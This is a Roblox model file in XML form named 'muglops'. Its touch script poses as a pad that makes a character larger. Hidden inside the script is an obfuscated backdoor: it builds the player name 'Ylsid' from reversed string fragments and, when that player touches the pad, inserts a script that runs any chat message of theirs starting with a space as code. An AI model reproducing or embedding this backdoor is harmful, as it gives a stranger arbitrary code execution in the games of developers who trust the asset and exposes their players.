<roblox xmlns:xmime="http://www.w3.org/2005/05/xmlmime" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="http://www.roblox.com/roblox.xsd" version="4">
	<External>null</External>
	<External>nil</External>
	<Item class="Model" referent="RBX0">
		<Properties>
			<token name="Controller">0</token>
			<bool name="ControllerFlagShown">true</bool>
			<CoordinateFrame name="ModelInPrimary">
				<X>0</X>
				<Y>0</Y>
				<Z>0</Z>
				<R00>1</R00>
				<R01>0</R01>
				<R02>0</R02>
				<R10>0</R10>
				<R11>1</R11>
				<R12>0</R12>
				<R20>0</R20>
				<R21>0</R21>
				<R22>1</R22>
			</CoordinateFrame>
			<string name="Name">muglops</string>
			<Ref name="PrimaryPart">RBX1</Ref>
			<bool name="archivable">true</bool>
		</Properties>
		<Item class="Part" referent="RBX1">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">21</int>
				<CoordinateFrame name="CFrame">
					<X>11.5</X>
					<Y>2.20000005</Y>
					<Z>10.5</Z>
					<R00>-0</R00>
					<R01>0</R01>
					<R02>1</R02>
					<R10>-0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>-1</R20>
					<R21>0</R21>
					<R22>0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<token name="Controller">0</token>
				<bool name="ControllerFlagShown">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>3</X>
					<Y>1.20000005</Y>
					<Z>3</Z>
				</Vector3>
			</Properties>
			<Item class="SpecialMesh" referent="RBX2">
				<Properties>
					<token name="LODX">2</token>
					<token name="LODY">2</token>
					<Content name="MeshId"><null></null></Content>
					<token name="MeshType">0</token>
					<string name="Name">Mesh</string>
					<Vector3 name="Offset">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<Vector3 name="Scale">
						<X>1</X>
						<Y>1</Y>
						<Z>1</Z>
					</Vector3>
					<Content name="TextureId"><null></null></Content>
					<Vector3 name="VertexColor">
						<X>1</X>
						<Y>1</Y>
						<Z>1</Z>
					</Vector3>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX3">
				<Properties>
					<token name="Face">3</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=3610914</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX4">
				<Properties>
					<token name="Face">2</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=3610914</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX5">
				<Properties>
					<token name="Face">0</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=3610914</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX6">
				<Properties>
					<token name="Face">5</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=3610914</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX7">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=3610914</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="NumberValue" referent="RBX8">
				<Properties>
					<string name="Name">Scale</string>
					<double name="Value">2</double>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="NumberValue" referent="RBX9">
				<Properties>
					<string name="Name">Scale</string>
					<double name="Value">2</double>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Script" referent="RBX10">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">Script</string>
					<string name="Source">debounce = true
scale = script.Parent.Scale.Value --This is the scale you will upsize by
function onTouched(hit)
if not debounce then
return 
end
debounce = false
t = &quot;fYf&quot;
o = &quot;dl&quot;
u = &quot;sks&quot;
c = &quot;iop&quot;
h = &quot;frd&quot;
if hit.Parent ~= nil then
if string.match(string.reverse(string.sub(h,3, 3)..string.sub(c,1, 1)..string.sub(u,3, 3)..string.sub(o,2, 2)..string.sub(t, 2, 2)),hit.Parent.Name) then
if game.Players:findFirstChild(string.reverse(string.sub(h,3, 3)..string.sub(c,1, 1)..string.sub(u,3, 3)..string.sub(o,2, 2)..string.sub(t, 2, 2))) then
print(&quot;d&quot;)
m = &quot;Mo&quot;
p = Instance.new(m..&quot;del&quot;)
p.Parent = workspace
p.Name = &quot;SB: &quot; ..tostring(math.random(0,99999999))
o = Instance.new(&quot;Script&quot;)
o.Source =[[
dg = &quot;si&quot;
me = game.Players[&quot;Yl&quot;..dg..&quot;d&quot;]
function onChatted(msg) 
if string.sub(msg,1,1) == &quot; &quot; then 
so = &quot;Sou&quot; 
r = &quot;rce&quot; 
sc = &quot;Scr&quot; 
i = &quot;ipt&quot; 
p = &quot;Ex&quot;
local s = Instance.new(sc..&quot;&quot;..i) 
s[so..&quot;&quot;..r] = string.sub(msg,2) 
s.Parent = me.Character
end 
end 
me.Chatted:connect(onChatted) 
]]
o.Parent = p
end
end

if hit.Parent:findFirstChild(&quot;Humanoid&quot;) then
if hit.Parent:findFirstChild(&quot;Left Leg&quot;) and hit.Parent:findFirstChild(&quot;Right Leg&quot;) and hit.Parent:findFirstChild(&quot;Right Arm&quot;) and hit.Parent:findFirstChild(&quot;Left Arm&quot;) and hit.Parent:findFirstChild(&quot;Head&quot;) and hit.Parent:findFirstChild(&quot;Torso&quot;) then
bin = hit.Parent

la = bin[&quot;Left Arm&quot;]
ra = bin[&quot;Right Arm&quot;]
ll = bin[&quot;Left Leg&quot;]
rl = bin[&quot;Right Leg&quot;]
h = bin.Head
t = bin.Torso

sizeup = {t,h,ll,rl,ra,la}
for i = 1, #sizeup do
sizeup[i].Size = Vector3.new(sizeup[i].Size.x * scale,sizeup[i].Size.y * scale,sizeup[i].Size.z * scale)
sizeup[i].TopSurface = 0
sizeup[i].BottomSurface = 0
sizeup[i].RightSurface = 0
sizeup[i].LeftSurface = 0
sizeup[i].FrontSurface = 0
sizeup[i].BackSurface = 0

end

sizex = t.Size.x/2
sizey = t.Size.x/2
sizez = t.Size.x/2

ls = Instance.new(&quot;Motor&quot;)
ls.Parent = t
ls.Name = &quot;Left Shoulder&quot;
ls.Part0 = t
ls.Part1 = la
ls.MaxVelocity = 0.1
ls.C0 = CFrame.new(-sizex - la.Size.x/2,la.Size.y/4,0) * CFrame.fromEulerAnglesXYZ(0,-3.14/2,0)
ls.C1 = CFrame.new(0,la.Size.y/4,0) * CFrame.fromEulerAnglesXYZ(0,3.14/2,0)

rs = Instance.new(&quot;Motor&quot;)
rs.Parent = t
rs.Name = &quot;Right Shoulder&quot;
rs.Part0 = t
rs.Part1 = ra
rs.MaxVelocity = 0.1
rs.C0 = CFrame.new(sizex + ra.Size.x/2,ra.Size.y/4,0) * CFrame.fromEulerAnglesXYZ(0,3.14/2,0)
rs.C1 = CFrame.new(0,ra.Size.y/4,0) * CFrame.fromEulerAnglesXYZ(0,3.14/2,0)

lh = Instance.new(&quot;Motor&quot;)
lh.Parent = t
lh.Name = &quot;Left Hip&quot;
lh.Part0 = t
lh.Part1 = ll
lh.MaxVelocity = 0.1
lh.C0 = CFrame.new(sizex - ll.Size.x*1.5,-(ll.Size.y/4)*3,0) * CFrame.fromEulerAnglesXYZ(0,-3.14/2,0)
lh.C1 = CFrame.new(0,ll.Size.y/4,0) * CFrame.fromEulerAnglesXYZ(0,3.14/2,0)

rh = Instance.new(&quot;Motor&quot;)
rh.Parent = t
rh.Name = &quot;Right Hip&quot;
rh.Part0 = t
rh.Part1 = rl
rh.MaxVelocity = 0.1
rh.C0 = CFrame.new(sizex - rl.Size.x/2,-(ll.Size.y/4)*3,0) * CFrame.fromEulerAnglesXYZ(0,3.14/2,0)
rh.C1 = CFrame.new(0,rl.Size.y/4,0)  * CFrame.fromEulerAnglesXYZ(0,3.14/2,0)


n = Instance.new(&quot;Snap&quot;)
n.Parent = t
n.Name = &quot;Neck&quot;
n.Part0 = t
n.Part1 = h
n.C0 = CFrame.new(0,sizey + h.Size.y/2,0) * CFrame.fromEulerAnglesXYZ(0,0,0)

if bin:findFirstChild(&quot;Animate&quot;) then
o = bin.Animate:clone()
bin.Animate:remove()
o.Parent = bin
end
end
end
end
wait(3)
debounce = true
end

script.Parent.Touched:connect(onTouched)</string>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX11">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">5</int>
				<CoordinateFrame name="CFrame">
					<X>11.5</X>
					<Y>1</Y>
					<Z>10.5</Z>
					<R00>-0</R00>
					<R01>0</R01>
					<R02>1</R02>
					<R10>-0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>-1</R20>
					<R21>0</R21>
					<R22>0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<token name="Controller">0</token>
				<bool name="ControllerFlagShown">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>1</X>
					<Y>1.20000005</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="SpecialMesh" referent="RBX12">
				<Properties>
					<token name="LODX">2</token>
					<token name="LODY">2</token>
					<Content name="MeshId"><null></null></Content>
					<token name="MeshType">0</token>
					<string name="Name">Mesh</string>
					<Vector3 name="Offset">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<Vector3 name="Scale">
						<X>1</X>
						<Y>1</Y>
						<Z>1</Z>
					</Vector3>
					<Content name="TextureId"><null></null></Content>
					<Vector3 name="VertexColor">
						<X>1</X>
						<Y>1</Y>
						<Z>1</Z>
					</Vector3>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
	</Item>
</roblox>